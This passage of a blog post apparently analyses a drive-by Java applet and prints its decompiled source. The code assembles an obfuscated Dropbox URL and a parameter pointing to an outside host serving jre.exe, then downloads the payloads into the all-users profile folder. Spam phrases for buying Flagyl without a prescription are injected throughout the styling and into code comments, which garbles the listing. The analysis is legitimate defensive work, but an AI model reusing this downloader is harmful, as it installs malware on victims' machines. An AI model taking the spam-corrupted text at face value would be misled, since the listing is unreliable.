#006080">&quot;0&quot;</span>  style=<span style="color: #006080">&quot;visibility: hidden&quot;</span>&gt;        &lt;param name=<span style="color: #006080">&quot;l&quot;</span> value=<span style="color: #006080">&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;</span>&gt;&lt;/param&gt;&lt;/applet&gt;</pre>  </div></div></p>
<p><p>OK, now I have the url for the Java applet, plus the entry point class (a.class).&#160;&#160; I can download that now.&#160; With the applet in hand, <b>generic Flagyl</b>, a Java applet is a zip file (funny things you remember from Comp Sci class in 1996), grab the *.class files, find a Java Decompiler and away we go.</p></p>
<p><p>You get 5 classes:</p></p>
<p><p>a.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Where to buy Flagyl</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> a extends Applet</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     <span style="color: #0000ff">public</span> a()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl samples</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">void</span> init()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         c_gP c_gp = <span style="color: #0000ff">new</span> c_gP();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Rx free Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         c_ed c_ed1 = <span style="color: #0000ff">new</span> c_ed();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         String s = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.&quot;</span>).append(<span style="color: #006080">&quot;ln&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>         String s1 = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.l&quot;</span>).append(<span style="color: #006080">&quot;n&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         <span style="color: #0000ff">try</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>order Flagyl from United States pharmacy</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             String s2 = System.getenv(<span style="color: #006080">&quot;ALLUSERSPROFILE&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             String s3 = getParameter(<span style="color: #006080">&quot;l&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">if</span>(s2 != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 String s4 = <span style="color: #006080">&quot;ht&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Order Flagyl online overnight delivery no prescription</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 String s5 = <span style="color: #006080">&quot;tp&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                 String s6 = <span style="color: #006080">&quot;:&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 String s7 = <span style="color: #006080">&quot;//&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 String s8 = <span style="color: #006080">&quot;dl&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                 String s9 = <span style="color: #006080">&quot;.drop&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 String s10 = <span style="color: #006080">&quot;box.&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl images</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 String s11 = <span style="color: #006080">&quot;com/u/41185898/&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>                 String s12 = <span style="color: #006080">&quot;a.gif&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>                 c_ed1.ed((<span style="color: #0000ff">new</span> StringBuilder()).append(s4).append(s5).append(s6).append(s7).append(s8).append(s9).append(s10).append(s11).append(s12).toString(), (<span style="color: #0000ff">new</span> StringBuilder()).append(s2).append(<span style="color: #006080">&quot;\&quot;).append(s1).toString(), this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>                 c_ed1.ed(s3, (new StringBuilder()).append(s2).append(&quot;</span>\<span style="color: #006080">&quot;).append(s).toString(), <b>Buy cheap Flagyl no rx</b>, this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>         catch(Exception exception)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span>             c_js1.js(&quot;</span>JSM_onLoadFail&quot;, <span style="color: #0000ff">this</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>buy Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span> }</pre>  </div></div></p>
<p><p>c_gP.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl natural</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">class</span> c_gP</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>     c_gP()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>online buy Flagyl without a prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">static</span> String gP(<span style="color: #0000ff">int</span> i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>         <span style="color: #0000ff">char</span> ac[] = <span style="color: #0000ff">new</span> <span style="color: #0000ff">char</span>[i];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>         <span style="color: #0000ff">int</span> j = 65;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Buy generic Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         <span style="color: #0000ff">boolean</span> flag = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         <span style="color: #0000ff">for</span>(<span style="color: #0000ff">int</span> l = 0; l &lt; i; l++)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             <span style="color: #0000ff">int</span> k = (<span style="color: #0000ff">int</span>)(Math.random() * 3D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             switch(k)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dangers</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             <span style="color: #0000ff">case</span> 0: // <span style="color: #006080">'<title>Flagyl For Sale</title>'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 j = 48 + (<span style="color: #0000ff">int</span>)(Math.random() * 10D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">case</span> 1: // <span style="color: #006080">'<title>Flagyl For Sale</title>1'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>My Flagyl experience</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                 j = 97 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
